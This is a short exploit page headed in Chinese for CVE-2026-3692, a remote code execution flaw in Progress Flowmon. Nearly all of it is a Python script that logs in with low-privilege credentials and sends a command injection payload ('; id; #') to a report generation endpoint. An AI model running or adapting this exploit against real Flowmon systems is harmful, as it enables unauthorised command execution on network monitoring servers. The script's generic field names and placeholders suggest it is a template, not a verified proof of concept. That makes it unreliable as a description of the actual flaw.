CVE-2026-3692 Progress Flowmon 远程代码执行漏洞

import requests # Target configuration target_url = "https://<flowmon_ip>/api/report/generate" username = "low_priv_user" password = "password" # 1. Authenticate to the application session = requests.Session() login_payload = { "username": username, "password": password } login_resp = session.post(f"https://<flowmon_ip>/login", data=login_payload) if login_resp.status_code == 200: print("[+] Login successful") # 2. Craft the malicious payload for command injection # The vulnerability occurs in the report generation parameter # Example payload to execute 'id' command on the server malicious_param = "; id; #" exploit_data = { "report_template": "traffic_analysis", "output_format": "pdf", "vulnerable_parameter": malicious_param } # 3. Send the exploit request try: response = session.post(target_url, data=exploit_data, timeout=10) if response.status_code == 200: print("[+] Exploit request sent successfully") print("[+] Check server response for command output indicators") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") else: print("[-] Login failed")